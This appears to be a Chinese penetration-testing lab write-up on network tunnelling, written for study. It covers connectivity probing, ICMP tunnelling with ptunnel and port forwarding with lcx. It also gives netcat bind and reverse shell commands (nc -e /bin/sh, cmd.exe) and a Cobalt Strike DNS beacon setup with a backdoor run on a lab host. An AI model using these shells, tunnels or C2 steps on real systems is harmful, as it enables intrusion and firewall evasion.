思维导图

必备知识点
1.代理和隧道技术区别?
- 代理只是为了解决网络通信问题,有些内网访问不到,可以用代理实现
- 隧道不仅是解决网络的通信问题,更大的作用是绕过过滤,突破防火墙/入侵检测系统。
2.隧道技术为了解决什么?
- 防火墙过滤问题、网络连接通信问题、数据回链封装问题
- 在数据通信被拦截的情况下,可以利用隧道技术封装改变通信协议进行绕过拦截。比如CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等问题,都可以通过隧道技术解决。
3.隧道技术前期的必备条件?
- 在用隧道之前要先探测对应隧道协议是否支持,如果不支持,用这个隧道也没有任何意义!
隧道通信原理
- 隧道,就是一种绕过端口屏蔽的通信方式。
- 防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。
常用的隧道技术
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规端口转发
- 应用层:SSH隧道、HTTP隧道、HTTS隧道、DNS隧道

判断内网联通性
- ICMP协议:ping
- TCP协议:nc\ncat
- HTTP协议:curl\wget
- DNS协议:nslookup\dig
参考:https://zhuanlan.zhihu.com/p/442344972
演示案例:
案例 1-网络传输应用层检测连通性-检测
隧道有各种层面的,每个层面又分不同协议,你想要用哪个隧道,就需要先确定目标主机是否支持对应隧道协议。
可以使用以下协议进行判断。
- ICMP协议:ping
- TCP协议:telnet\nc
- HTTP协议:curl\wget
- DNS协议:nslookup\dig
ICMP 协议
用“ping”命令,执行 ping <域名/IP 地址>
ping www.baidu.com
ping 14.215.177.38

TCP 协议
telnet
在Windows和Linux都可以用
执行telnet <域名/IP 地址> <端口>
telnet www.baidu.com 80
telnet 14.215.177.38 80
出现下图的黑色界面说明连接成功,端口是可以正常访问的;


访问失败,说明端口是没有开启的或者被占用;

nc
用“瑞士军刀”——netcat
执行 nc端口扫描命令:
nc -zv <ip/域名> <端口>
nc -zv www.baidu.com 80
nc -zv 14.215.177.38 80
- -z 表示为zero,意思是扫描时不发送任何数据包
- -v 即为详细输出

参考:https://blog.youkuaiyun.com/qq_42875470/article/details/114778326
HTTP 协议
curl
windows/linux
用“curl”工具,执行 curl <网址/IP> <端口> 命令。如果远程主机开启了相应的端口,且内网可连接外网的
话,就会输出相应的端口信息
curl www.baidu.com 80
curl 14.215.177.38 80

更多请参考:curl 的用法指南
wget
linux
执行 wget <IP/网址>命令
wget -S www.baidu.com
wget -S 14.215.177.38


DNS 协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup
nslookup 是 windows 自带的 DNS 探测命令
nslookup www.baidu.com
nslookup 14.215.177.38
dig
dig 是 linux 系统自带的 DNS 探测命令
dig www.baidu.com
dig 14.215.177.38


案例 2-网络层 ICMP 隧道 ptunnel 使用-检测,利用
常用的ICMP隧道工具有icmpsh、PingTunel、icmptunel、powershell icmp等
网上介绍的大部分都是老牌工具ptunnel,ptunnel工具几年前就没有更新了,不推荐使用。
推荐pingtunnel,这个是一直在升级更新的一个工具。
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
pingtunnel
pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具
为什么要转换?因为tcp、udp、sock5这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp进行数据传输!
语法
-p ##表示连接icmp隧道另一端的机器IP(即目标服务器)
-lp ##表示需要监听的本地tcp端口
-da ##指定需要转发的机器的IP(即目标内网某一机器的内网IP)
-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x ##设置连接的密码
执行命令
命令
target2:./ptunnel -x xiaodi
kali:./ptunnel -p 192.168.80.145 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi
#转发的3389请求数据给本地1080
kali:rdesktop 127.0.0.1 1080
实验拓扑

实验准备
参考:https://blog.youkuaiyun.com/markecheng/article/details/110352161
安装Pingtunnel
安装好之后,进入Pingtunnel目录进行配置编译
cd ./Pingtunnel
make && make install
-
如果过程中我们会出现pcap.h缺失的情况,则使用wget命令安装
-
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz tar zxvf libpcap-1.9.0.tar.gz cd libpcap-1.9.0 ./configure make sudo make install
-
过程中又碰到
-
error while loading shared libraries: libpcap.so.1: cannot open shared object file: No such file
-
locate libpcap.so.1 sudo vi /etc/ld.so.conf #末尾追加 /usr/local/lib #有的话就不加 /usr/lib #从新加载配置 ldconfig
-
-
kali安装也是参考如下文章
参考文章解决
- 错误提示:error while loading shared libraries: libpcap.so.1: cannot open shared object file: No such fil_想努力的人的博客-优快云博客
- Ubuntu下libpcap编程无法找到libpcap.so.1解决办法_就一菜鸟的技术博客_51CTO博客
检测连通性
ping -c 4 192.168.33.33 #-c 4 发生数据包数量

开启隧道

在kali上执行以下命令
./ptunnel -p 192.168.80.145 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi

在kali上执行以下命令,弹出远程桌面
rdesktop 127.0.0.1:1080


kali远程登录administrator把已经登录的给挤掉了!

这样做有什么意义呢?原来3389连接远程桌面,使用的是3389对应的协议,现在连接远程桌面,流量数据传输就变成使用 ICMP 协议了。
案例 3-传输层转发隧道 Portmap 使用-检测,利用

隧道技术:传输层端口转发
工具:
windows: lcx
linux:portmap
lcx
lcx是一个端口转发工具,通过端口转发的形式,将内网服务器的某一个端口映射到公网另一台服务器的一个端口上去!
下载:https://github.com/MrAnonymous-1/lcx
在DC上执行以下命令,将本地3389给webserver的6666
Lcx.exe -slave 192.168.3.31 6666 127.0.0.1 3389 //将本地3389给webserver的6666

在webserver上执行以下命令,监听6666端口流量并转发至7777
Lcx.exe -listen 6666 7777 // 监听6666转发至7777

在kali上执行以下命令,连接webserver的7777,登录远程桌面访问,这里其实登录的是域控DC的远程桌面。
rdesktop 192.168.80.146:7777
连接不了,发现DC和webserver不通。结果无所谓了,了解原理即可!
DC 把本地的3389 转播到 webserver的6666端口 ,而webserver又把6666转到自己的7777 端口。
那么当kali去rdesktop访问webserver的7777端口时,就是连接的DC的远程桌面。
换了两台虚拟机,配置了一下网卡,重做了一下,完美复现!!

案例 4-传输层转发隧道 Netcat 使用-检测,利用,功能
实验环境
- Kali—god\webserver—god\sqlserver
正向反弹 shell
正向:攻击连接受害
受害:
nc -ldp 1234 -e /bin/sh
#linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe
#windows

攻击:
nc 192.168.76.132 1234
#主动连接

反向反弹shell
反向:受害连接攻击
攻击:nc -lvp 1234
nc -lvp 1234
# 监听本地1234 等待受害主动把shell交过来

受害:主动把shell反弹到对方ip端口上
nc 192.168.3.32 1234 -e /bin/sh
#linux
nc 192.168.3.32 1234 -e c:\windows\system32\cmd.exe
#windows

此时攻击机上收到shell会话

多向连接反弹 shell-配合转发
god\Webserver:
Lcx.exe -listen 2222 3333

god\Sqlserver:
nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe

kali :
nc -v 192.168.80.146 3333
和之前一样,sqlserver把自己的shell反弹给webserver的2222端口。webserver再把2222转到3333端口
由于kali能够和webserver联通,可以直接接收3333的shell,间接的取得了sqlserver的权限

正向该怎么操作呢?实战中改怎么选择正向和反向?
相关 netcat 主要功能测试
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell:见上
案例5:应用层DNS隧道配合CS上线-检测,利用,说明
当常见协议监听器被拦截时,可以换其他协议上线,其中dns协议上线基本通杀
开放端口
云主机Teamserver配置端口53启用-udp

域名修改解析记录
- A记录->cs主机名->CS服务器IP
- NS记录->ns1主机名->上个A记录地址
- NS记录->ns2主机名->上个A记录地址

配置DNS监听器
ns1.xiaodi8.com、ns2.xiaodi8.com——>cs.xiaodi8.com

生成后门
attacks–>packages–>windows executable(s)–>listener选择dns上线,勾选–>选择后门生成位置–>生成后门

上线主机
将后门上传到webserver,执行。执行后门后,cs出现一个黑窗口。

点击小图标,出现unknown主机,原因是我们使用DNS上线,DNS速度特别慢。此时我们需要再敲几条命令才能实现控制。

右击unknown主机,选择interact,启用命令。
checkin
mode dns-txt
shell whoami
我的这个直接checkin就连接上了。但是执行shell whoami 无法生成结果。(是我之前改了一下他的环境变量导致的好像)

尝试了screeshot截屏是可以的!

隧道技术其实就是通过变换协议,走不同协议来实现数据通信!
1万+

被折叠的 条评论
为什么被折叠?



